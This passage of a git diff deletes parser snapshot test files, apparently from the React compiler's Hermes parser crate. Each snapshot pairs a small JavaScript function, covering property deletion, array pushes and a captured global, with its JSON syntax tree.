-                  ],
-                  "loc": null,
-                  "range": [
-                    85,
-                    93
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  81,
-                  93
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              75,
-              94
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Child",
-                  "loc": null,
-                  "range": [
-                    105,
-                    110
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "y",
-                      "loc": null,
-                      "range": [
-                        111,
-                        112
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          114,
-                          115
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        113,
-                        116
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      111,
-                      116
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  104,
-                  119
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                104,
-                119
-              ]
-            },
-            "loc": null,
-            "range": [
-              97,
-              120
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          122
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        122
-      ],
-      "loc": null,
-      "range": [
-        0,
-        122
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    122
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@delete-computed-property.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@delete-computed-property.js.snap
deleted file mode 100644
index 15b125ee8929..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@delete-computed-property.js.snap
+++ /dev/null
@@ -1,318 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/delete-computed-property.js
----
-Input:
-function Component(props) {
-  const x = { a: props.a, b: props.b };
-  const key = "b";
-  delete x[key];
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          42,
-                          43
-                        ]
-                      },
-                      "value": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            45,
-                            50
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "a",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            51,
-                            52
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          45,
-                          52
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        42,
-                        52
-                      ]
-                    },
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          54,
-                          55
-                        ]
-                      },
-                      "value": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            57,
-                            62
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            63,
-                            64
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          57,
-                          64
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        54,
-                        64
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    66
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  66
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              67
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "key",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    76,
-                    79
-                  ]
-                },
-                "init": {
-                  "type": "StringLiteral",
-                  "value": "b",
-                  "loc": null,
-                  "range": [
-                    82,
-                    85
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  76,
-                  85
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              70,
-              86
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "UnaryExpression",
-              "operator": "delete",
-              "prefix": true,
-              "argument": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    96,
-                    97
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "key",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    98,
-                    101
-                  ]
-                },
-                "computed": true,
-                "loc": null,
-                "range": [
-                  96,
-                  102
-                ]
-              },
-              "loc": null,
-              "range": [
-                89,
-                102
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              89,
-              103
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                113,
-                114
-              ]
-            },
-            "loc": null,
-            "range": [
-              106,
-              115
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          117
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        117
-      ],
-      "loc": null,
-      "range": [
-        0,
-        117
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    117
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@delete-property.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@delete-property.js.snap
deleted file mode 100644
index bce4b24eebbb..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@delete-property.js.snap
+++ /dev/null
@@ -1,279 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/delete-property.js
----
-Input:
-function Component(props) {
-  const x = { a: props.a, b: props.b };
-  delete x.b;
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          42,
-                          43
-                        ]
-                      },
-                      "value": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            45,
-                            50
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "a",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            51,
-                            52
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          45,
-                          52
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        42,
-                        52
-                      ]
-                    },
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          54,
-                          55
-                        ]
-                      },
-                      "value": {
-                        "type": "MemberExpression",
-                        "object": {
-                          "type": "Identifier",
-                          "name": "props",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            57,
-                            62
-                          ]
-                        },
-                        "property": {
-                          "type": "Identifier",
-                          "name": "b",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            63,
-                            64
-                          ]
-                        },
-                        "computed": false,
-                        "loc": null,
-                        "range": [
-                          57,
-                          64
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        54,
-                        64
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    66
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  66
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              67
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "UnaryExpression",
-              "operator": "delete",
-              "prefix": true,
-              "argument": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    77,
-                    78
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    79,
-                    80
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  77,
-                  80
-                ]
-              },
-              "loc": null,
-              "range": [
-                70,
-                80
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              70,
-              81
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                91,
-                92
-              ]
-            },
-            "loc": null,
-            "range": [
-              84,
-              93
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          95
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        95
-      ],
-      "loc": null,
-      "range": [
-        0,
-        95
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    95
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@dependencies-outputs.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@dependencies-outputs.js.snap
deleted file mode 100644
index 901016c4ad63..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@dependencies-outputs.js.snap
+++ /dev/null
@@ -1,509 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/dependencies-outputs.js
----
-Input:
-function foo(a, b) {
-  const x = [];
-  x.push(a);
-  <div>{x}</div>;
-
-  const y = [];
-  if (x.length) {
-    y.push(x);
-  }
-  if (b) {
-    y.push(b);
-  }
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    29,
-                    30
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    33,
-                    35
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  29,
-                  35
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              23,
-              36
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    39,
-                    40
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    41,
-                    45
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  39,
-                  45
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    46,
-                    47
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                39,
-                48
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              39,
-              49
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    53,
-                    56
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  52,
-                  57
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      58,
-                      59
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    57,
-                    60
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    62,
-                    65
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  60,
-                  66
-                ]
-              },
-              "loc": null,
-              "range": [
-                52,
-                66
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              52,
-              67
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    77,
-                    78
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    81,
-                    83
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  77,
-                  83
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              71,
-              84
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  91,
-                  92
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "length",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  93,
-                  99
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                91,
-                99
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          107,
-                          108
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          109,
-                          113
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        107,
-                        113
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          114,
-                          115
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      107,
-                      116
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    107,
-                    117
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                101,
-                121
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              87,
-              121
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "b",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                128,
-                129
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          137,
-                          138
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          139,
-                          143
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        137,
-                        143
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          144,
-                          145
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      137,
-                      146
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    137,
-                    147
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                131,
-                151
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              124,
-              151
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                161,
-                162
-              ]
-            },
-            "loc": null,
-            "range": [
-              154,
-              163
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          19,
-          165
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        165
-      ],
-      "loc": null,
-      "range": [
-        0,
-        165
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    165
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@dependencies.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@dependencies.js.snap
deleted file mode 100644
index d1dbe7d64b57..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@dependencies.js.snap
+++ /dev/null
@@ -1,439 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/dependencies.js
----
-Input:
-function foo(x, y, z) {
-  const items = [z];
-  items.push(x);
-
-  const items2 = [];
-  if (x) {
-    items2.push(y);
-  }
-
-  if (y) {
-    items.push(x);
-  }
-
-  return items2;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "x",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "y",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "z",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "items",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    32,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "z",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        41,
-                        42
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    40,
-                    43
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  32,
-                  43
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              44
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "items",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    47,
-                    52
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    53,
-                    57
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  47,
-                  57
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    58,
-                    59
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                47,
-                60
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              47,
-              61
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "items2",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    71,
-                    77
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    80,
-                    82
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  71,
-                  82
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              65,
-              83
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                90,
-                91
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "items2",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          99,
-                          105
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          106,
-                          110
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        99,
-                        110
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          111,
-                          112
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      99,
-                      113
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    99,
-                    114
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                93,
-                118
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              86,
-              118
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                126,
-                127
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "items",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          135,
-                          140
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          141,
-                          145
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        135,
-                        145
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          146,
-                          147
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      135,
-                      148
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    135,
-                    149
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                129,
-                153
-              ]
-            },
-            "alternate": null,
-            "loc": null,
-            "range": [
-              122,
-              153
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "items2",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                164,
-                170
-              ]
-            },
-            "loc": null,
-            "range": [
-              157,
-              171
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          173
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        173
-      ],
-      "loc": null,
-      "range": [
-        0,
-        173
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    173
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructure-capture-global.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructure-capture-global.js.snap
deleted file mode 100644
index 4389c54b51b3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructure-capture-global.js.snap
+++ /dev/null
@@ -1,231 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/destructure-capture-global.js
----
-Input:
-let someGlobal = {};
-function component(a) {
-  let x = { a, someGlobal };
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "VariableDeclaration",
-      "kind": "let",
-      "declarations": [
-        {
-          "type": "VariableDeclarator",
-          "id": {
-            "type": "Identifier",
-            "name": "someGlobal",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              4,
-              14
-            ]
-          },
-          "init": {
-            "type": "ObjectExpression",
-            "properties": [],
-            "loc": null,
-            "range": [
-              17,
-              19
-            ]
-          },
-          "loc": null,
-          "range": [
-            4,
-            19
-          ]
-        }
-      ],
-      "loc": null,
-      "range": [
-        0,
-        20
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          30,
-          39
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            40,
-            41
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    51,
-                    52
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          57,
-                          58
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          57,
-                          58
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
